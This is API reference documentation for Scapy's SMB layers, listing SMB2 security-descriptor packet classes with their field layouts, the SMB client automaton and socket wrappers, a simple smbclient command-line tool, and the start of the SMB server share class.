class scapy.layers.smb2.WINNT_ACCESS_ALLOWED_CALLBACK_ACE(_pkt, /, *, Mask=<Flag 0 ()>, Sid=<WINNT_SID  IdentifierAuthority=<WINNT_SID_IDENTIFIER_AUTHORITY  |> |>, ApplicationData=<WINNT_APPLICATION_DATA  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1107-L1112]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MASK                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              SID              |        APPLICATIONDATA        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. WINNT_ACCESS_ALLOWED_CALLBACK_ACE              


WINNT_ACCESS_ALLOWED_CALLBACK_ACE fields






	Mask

	FlagsField

	<Flag 0 ()>



	Sid

	PacketField

	<WINNT_SID  IdentifierAuthority=<WINNT_SID_IDENTIFIER_AUTHORITY  |> |>



	ApplicationData

	PacketField

	<WINNT_APPLICATION_DATA  |>















	
class scapy.layers.smb2.WINNT_ACCESS_DENIED_ACE(_pkt, /, *, Mask=<Flag 0 ()>, Sid=<WINNT_SID  IdentifierAuthority=<WINNT_SID_IDENTIFIER_AUTHORITY  |> |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L949-L950]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MASK                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              SID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. WINNT_ACCESS_DENIED_ACE                   


WINNT_ACCESS_DENIED_ACE fields






	Mask

	FlagsField

	<Flag 0 ()>



	Sid

	PacketField

	<WINNT_SID  IdentifierAuthority=<WINNT_SID_IDENTIFIER_AUTHORITY  |> |>















	
class scapy.layers.smb2.WINNT_ACCESS_DENIED_CALLBACK_ACE(_pkt, /, *, Mask=<Flag 0 ()>, Sid=<WINNT_SID  IdentifierAuthority=<WINNT_SID_IDENTIFIER_AUTHORITY  |> |>, ApplicationData=<WINNT_APPLICATION_DATA  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1121-L1122]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MASK                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              SID              |        APPLICATIONDATA        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. WINNT_ACCESS_DENIED_CALLBACK_ACE               


WINNT_ACCESS_DENIED_CALLBACK_ACE fields






	Mask

	FlagsField

	<Flag 0 ()>



	Sid

	PacketField

	<WINNT_SID  IdentifierAuthority=<WINNT_SID_IDENTIFIER_AUTHORITY  |> |>



	ApplicationData

	PacketField

	<WINNT_APPLICATION_DATA  |>















	
class scapy.layers.smb2.WINNT_ACE_HEADER(_pkt, /, *, AceType=0, AceFlags=<Flag 0 ()>, AceSize=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L782-L927]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L827-L828]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    ACETYPE    |    ACEFLAGS   |            ACESIZE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. WINNT_ACE_HEADER                       


WINNT_ACE_HEADER fields






	AceType

	ByteEnumField

	0



	AceFlags

	FlagsField

	<Flag 0 ()>



	AceSize

	LenField

	None











	
payload_guess

	Possible sublayers:
WINNT_ACCESS_ALLOWED_ACE, WINNT_ACCESS_ALLOWED_CALLBACK_ACE, WINNT_ACCESS_DENIED_ACE, WINNT_ACCESS_DENIED_CALLBACK_ACE, WINNT_AUDIT_ACE






	
toSDDL()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L831-L927]

	Return SDDL










	
class scapy.layers.smb2.WINNT_ACL(_pkt, /, *, AclRevision=2, Sbz1=0, AclSize=None, AceCount=None, Sbz2=0, Aces=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1141-L1159]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  ACLREVISION  |      SBZ1     |            ACLSIZE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ACECOUNT           |              SBZ2             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              ACES             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. WINNT_ACL                          


WINNT_ACL fields






	AclRevision

	ByteField

	2



	Sbz1

	ByteField

	0



	AclSize

	FieldLenField

	None



	AceCount

	FieldLenField

	None



	Sbz2

	ShortField

	0



	Aces

	PacketListField

	[]











	
toSDDL()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1158-L1159]

	








	
class scapy.layers.smb2.WINNT_APPLICATION_DATA(_pkt, /, *, Magic=b'artx', Tokens=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1090-L1101]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1100-L1101]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             MAGIC                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             TOKENS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. WINNT_APPLICATION_DATA                    


WINNT_APPLICATION_DATA fields






	Magic

	StrFixedLenField

	b'artx'



	Tokens

	PacketListField

	[]















	
class scapy.layers.smb2.WINNT_APPLICATION_DATA_LITERAL_TOKEN(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L959-L961]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L960-L961]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   TOKENTYPE   |                     LENGTH                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |VALU|      SIGN     |      BASE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            Fig. WINNT_APPLICATION_DATA_LITERAL_TOKEN             


WINNT_APPLICATION_DATA_LITERAL_TOKEN fields






	TokenType

	ByteEnumField

	0



	length

	LEIntField (Cond)

	0



	value

	MultipleTypeField (Cond, LELongField, StrLenFieldUtf16, StrLenField, PacketListField, StrFixedLenField)

	b''



	sign

	ByteEnumField (Cond)

	0



	base

	ByteEnumField (Cond)

	0















	
class scapy.layers.smb2.WINNT_AUDIT_ACE(_pkt, /, *, Mask=<Flag 0 ()>, Sid=<WINNT_SID  IdentifierAuthority=<WINNT_SID_IDENTIFIER_AUTHORITY  |> |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1131-L1132]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MASK                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              SID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. WINNT_AUDIT_ACE                       


WINNT_AUDIT_ACE fields






	Mask

	FlagsField

	<Flag 0 ()>



	Sid

	PacketField

	<WINNT_SID  IdentifierAuthority=<WINNT_SID_IDENTIFIER_AUTHORITY  |> |>















	
class scapy.layers.smb2.WINNT_SID(_pkt, /, *, Revision=1, SubAuthorityCount=None, IdentifierAuthority=<WINNT_SID_IDENTIFIER_AUTHORITY  |>, SubAuthority=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L732-L759]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L749-L750]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    REVISION   |SUBAUTHORITYCOU|      IDENTIFIERAUTHORITY      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          SUBAUTHORITY         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. WINNT_SID                          


WINNT_SID fields






	Revision

	ByteField

	1



	SubAuthorityCount

	FieldLenField

	None



	IdentifierAuthority

	PacketField

	<WINNT_SID_IDENTIFIER_AUTHORITY  |>



	SubAuthority

	FieldListField

	[]











	
summary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L752-L759]

	








	
class scapy.layers.smb2.WINNT_SID_IDENTIFIER_AUTHORITY(_pkt, /, *, Value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L720-L726]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L725-L726]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             VALUE                             |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. WINNT_SID_IDENTIFIER_AUTHORITY                


WINNT_SID_IDENTIFIER_AUTHORITY fields






	Value

	StrFixedLenField

	b''

















            

          

      

      

    

  

    
      
          
            
  
scapy.layers.smbclient

SMB 1 / 2 Client Automaton


Note

You will find more complete documentation for this layer over at
SMB [https://scapy.readthedocs.io/en/latest/layers/smb.html#client]




	
class scapy.layers.smbclient.SMB_Client(self, debug: int = 0, store: int = 0, **kargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L118-L645]

	Bases: Automaton

SMB client automaton


	Parameters:

	
	sock – the SMBStreamSocket to use


	ssp – the SSP to use








All other options (in caps) are optional, and SMB specific:


	Parameters:

	
	REQUIRE_SIGNATURE – set ‘Require Signature’


	MIN_DIALECT – minimum SMB dialect. Defaults to 0x0202 (2.0.2)


	MAX_DIALECT – maximum SMB dialect. Defaults to 0x0210 (2.1.0)


	DIALECTS – list of supported SMB2 dialects.
Constructed from MIN_DIALECT, MAX_DIALECT otherwise.









	
AUTHENTICATED(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
AUTH_FAILED(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
BEGIN(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
NEGOTIATED(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SENT_NEGOTIATE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SENT_SETUP_ANDX_REQUEST(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SMB2_NEGOTIATE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SOCKET_BIND(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SOCKET_MODE_SMB(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
actions: Dict[str, List[_StateWrapper]] = {'authenticated_post_actions': [], 'continue_smb2': [], 'incoming_data_received_smb': [<function SMB_Client.receive_data_smb>], 'outgoing_data_received_smb': [<function SMB_Client.send_data>], 'receive_negotiate_response': [], 'receive_setup_andx_response': [], 'send_negotiate': [<function SMB_Client.on_negotiate>], 'send_negotiate_smb2': [<function SMB_Client.on_negotiate_smb2>], 'should_send_setup_andx_request': [<function SMB_Client.send_setup_andx_request>], 'start_smb_socket': []}

	




	
authenticated_post_actions()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L601-L603]

	




	
breakpoints: Set[_StateWrapper]

	




	
cls[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1385-L1388]

	alias of DirectTCP






	
conditions: Dict[str, List[_StateWrapper]] = {'AUTHENTICATED': [<function SMB_Client.authenticated_post_actions>], 'AUTH_FAILED': [], 'BEGIN': [<function SMB_Client.continue_smb2>, <function SMB_Client.send_negotiate>], 'NEGOTIATED': [<function SMB_Client.should_send_setup_andx_request>], 'SENT_NEGOTIATE': [], 'SENT_SETUP_ANDX_REQUEST': [], 'SMB2_NEGOTIATE': [<function SMB_Client.send_negotiate_smb2>], 'SOCKET_BIND': [<function SMB_Client.start_smb_socket>], 'SOCKET_MODE_SMB': []}

	




	
continue_smb2()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L251-L255]

	




	
eofs: Dict[str, _StateWrapper] = {}

	




	
classmethod from_tcpsock(sock, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L194-L200]

	




	
incoming_data_received_smb(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L619-L621]

	




	
initial_states: List[_StateWrapper] = [<function ATMT.state.<locals>.deco.<locals>._state_wrapper>]

	




	
intercepted_packet: None | Packet

	




	
interception_points: Set[_StateWrapper]

	




	
ioevents: Dict[str, List[_StateWrapper]] = {'AUTHENTICATED': [], 'AUTH_FAILED': [], 'BEGIN': [], 'NEGOTIATED': [], 'SENT_NEGOTIATE': [], 'SENT_SETUP_ANDX_REQUEST': [], 'SMB2_NEGOTIATE': [], 'SOCKET_BIND': [], 'SOCKET_MODE_SMB': [<function SMB_Client.outgoing_data_received_smb>]}

	




	
ionames: List[str] = ['smbpipe']

	




	
iosupersockets: List[SuperSocket] = [<function SMB_Client.outgoing_data_received_smb>]

	




	
listen_sock: SuperSocket | None

	




	
on_negotiate()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L261-L297]

	




	
on_negotiate_smb2()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L311-L374]

	




	
outgoing_data_received_smb(fd)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L638-L640]

	




	
packets: PacketList

	




	
port = 445

	




	
receive_data_smb(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L623-L636]

	




	
receive_negotiate_response(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L376-L434]

	




	
receive_setup_andx_response(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L526-L580]

	




	
recv_conditions: Dict[str, List[_StateWrapper]] = {'AUTHENTICATED': [], 'AUTH_FAILED': [], 'BEGIN': [], 'NEGOTIATED': [], 'SENT_NEGOTIATE': [<function SMB_Client.receive_negotiate_response>], 'SENT_SETUP_ANDX_REQUEST': [<function SMB_Client.receive_setup_andx_response>], 'SMB2_NEGOTIATE': [], 'SOCKET_BIND': [], 'SOCKET_MODE_SMB': [<function SMB_Client.incoming_data_received_smb>]}

	




	
send(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L207-L245]

	




	
send_data(d)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L642-L645]

	




	
send_negotiate()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L257-L259]

	




	
send_negotiate_smb2()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L307-L309]

	




	
send_setup_andx_request(ssp_tuple)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L481-L524]

	




	
send_sock: SuperSocket | None

	




	
property session

	




	
should_send_setup_andx_request(ssp_tuple)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L470-L475]

	




	
smblink = <scapy.automaton._ATMT_to_supersocket object>

	




	
start_smb_socket()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L611-L613]

	




	
states: Dict[str, _StateWrapper] = {'AUTHENTICATED': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'AUTH_FAILED': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'BEGIN': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'NEGOTIATED': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SENT_NEGOTIATE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SENT_SETUP_ANDX_REQUEST': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SMB2_NEGOTIATE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SOCKET_BIND': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SOCKET_MODE_SMB': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>}

	




	
stop_state: _StateWrapper | None = None

	




	
threadid: int | None

	




	
timeout: Dict[str, _TimerList] = {'AUTHENTICATED': [], 'AUTH_FAILED': [], 'BEGIN': [], 'NEGOTIATED': [], 'SENT_NEGOTIATE': [], 'SENT_SETUP_ANDX_REQUEST': [], 'SMB2_NEGOTIATE': [], 'SOCKET_BIND': [], 'SOCKET_MODE_SMB': []}

	




	
update_smbheader(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L457-L466]

	Called when receiving a SMB2 packet to update the current smb_header










	
class scapy.layers.smbclient.SMB_RPC_SOCKET(smbsock, use_ioctl=True, timeout=3)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L947-L1030]

	Bases: ObjectPipe, SMB_SOCKET

Extends SMB_SOCKET (which is a wrapper over SMB_Client.smblink) to send
DCE/RPC messages (bind, reqs, etc.)

This is usable as a normal SuperSocket (sr1, etc.) and performs the
wrapping of the DCE/RPC messages into SMB2_Write/Read packets.


	
close()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1028-L1030]

	




	
close_pipe()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L964-L966]

	




	
open_pipe(name)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L961-L962]

	




	
send(x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L968-L1026]

	Internal ObjectPipe function.










	
class scapy.layers.smbclient.SMB_SOCKET(smbsock, use_ioctl=True, timeout=3)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L648-L944]

	Bases: SuperSocket

Mid-level wrapper over SMB_Client.smblink that provides some basic SMB
client functions, such as tree connect, directory query, etc.


	
changenotify(FileId)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L930-L944]

	Register change notify






	
close_request(FileId)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L828-L837]

	Close the FileId






	
create_request(name, mode='r', type='pipe', extra_create_options=[], extra_desired_access=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L731-L826]

	Open a file/pipe by its name


	Parameters:

	name – the name of the file or named pipe. e.g. ‘srvsvc’










	
classmethod from_tcpsock(sock, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L666-L676]

	Wraps the tcp socket in a SMB_Client.smblink first, then into the
SMB_SOCKET/SMB_RPC_SOCKET






	
get_TID()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L685-L689]

	Get the current TID from the underlying socket






	
query_directory(FileId, FileName='*')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L877-L910]

	Query the Directory with FileId






	
query_info(FileId, InfoType, FileInfoClass, AdditionalInformation=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L912-L928]

	Query the Info






	
read_request(FileId, Length, Offset=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L839-L856]

	Read request






	
set_TID(TID)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L678-L683]

	Set the TID (Tree ID).
This can be called before sending a packet






	
tree_connect(name)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L691-L715]

	Send a TreeConnect request






	
tree_disconnect()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L717-L729]

	Send a TreeDisconnect request






	
write_request(Data, FileId, Offset=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L858-L875]

	Write request










	
class scapy.layers.smbclient.smbclient(target: str, UPN: str = None, password: str = None, guest: bool = False, kerberos: bool = True, kerberos_required: bool = False, HashNt: str = None, port: int = 445, timeout: int = 2, debug: int = 0, ssp=None, ST=None, KEY=None, cli=True, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1033-L1725]

	Bases: CLIUtil

A simple smbclient CLI


	Parameters:

	
	target – can be a hostname, the IPv4 or the IPv6 to connect to


	UPN – the upn to use (DOMAIN/USER, DOMAINUSER, USER@DOMAIN or USER)


	guest – use guest mode (over NTLM)


	ssp – if provided, use this SSP for auth.


	kerberos – if available, whether to use Kerberos or not


	kerberos_required – require kerberos


	port – the TCP port. default 445


	password – (string) if provided, used for auth


	HashNt – (bytes) if provided, used for auth (NTLM)


	ST – if provided, the service ticket to use (Kerberos)


	KEY – if provided, the session key associated to the ticket (Kerberos)


	cli – CLI mode (default True). False to use for scripting









	
backup()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1715-L1725]

	Turn on or off backup intent






	
cat(file)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1631-L1641]

	Print a file






	
cat_complete(file)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1650-L1657]

	Auto-complete cat






	
cat_output(result)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1643-L1648]

	Print the output of ‘cat’






	
cd(folder)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1399-L1411]

	Change the remote current directory






	
cd_complete(folder)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1413-L1420]

	Auto-complete cd






	
cd_output(result)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1434-L1440]

	Print the output of ‘cd’






	
close()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1203-L1205]

	




	
collapse_path(path)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1213-L1216]

	




	
get(file, _dest=None, _verb=True, *, r=False)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1591-L1613]

	Retrieve a file
-r: recursively download a directory






	
get_complete(file)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1622-L1629]

	Auto-complete get






	
get_output(info)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1615-L1620]

	Print the output of ‘get’






	
lcd(folder)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1466-L1475]

	Change the local current directory






	
lcd_complete(folder)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1477-L1482]

	Auto-complete lcd






	
lcd_output(result)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1484-L1490]

	Print the output of ‘lcd’






	
lls()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1442-L1447]

	List the files in the local directory






	
lls_output(results)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1449-L1464]

	Print the output of ‘lls’






	
ls(parent=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1324-L1354]

	List the files in the remote directory
-t: sort by timestamp
-S: sort by size
-r: reverse while sorting






	
ls_complete(folder)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1390-L1397]

	Auto-complete ls






	
ls_output(results, *, t=False, S=False, r=False)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1356-L1388]

	Print the output of ‘ls’






	
normalize_path(path)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1218-L1222]

	Normalize path for CIFS usage






	
ps1()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1200-L1201]

	




	
put(file)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1659-L1675]

	Upload a file






	
put_complete(folder)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1677-L1682]

	Auto-complete put






	
rm(file)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1684-L1704]

	Delete a file






	
rm_complete(file)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1706-L1713]

	Auto-complete rm






	
shares()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1224-L1256]

	List the shares available






	
shares_output(results)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1258-L1263]

	Print the output of ‘shares’






	
use(share)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbclient.py#L1265-L1272]

	Open a share












            

          

      

      

    

  

    
      
          
            
  
scapy.layers.smbserver

SMB 2 Server Automaton

This provides a [MS-SMB2] server that can:
- serve files
- host a DCE/RPC server

This is a Scapy Automaton that is supposedly easily extendable.


Note

You will find more complete documentation for this layer over at
SMB [https://scapy.readthedocs.io/en/latest/layers/smb.html#server]




	
class scapy.layers.smbserver.SMBShare(name, path='.', type=None, remark='')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smbserver.py#L148-L184]

	Bases: object

A class used to define a share, used by SMB_Server


	Parameters:

	
	name – the share name


	path – the path the the folder hosted by the share


	type – (optional) share type per [MS-SRVS] sect 2.2.2.4


	remark – (optional) a description of the share













	
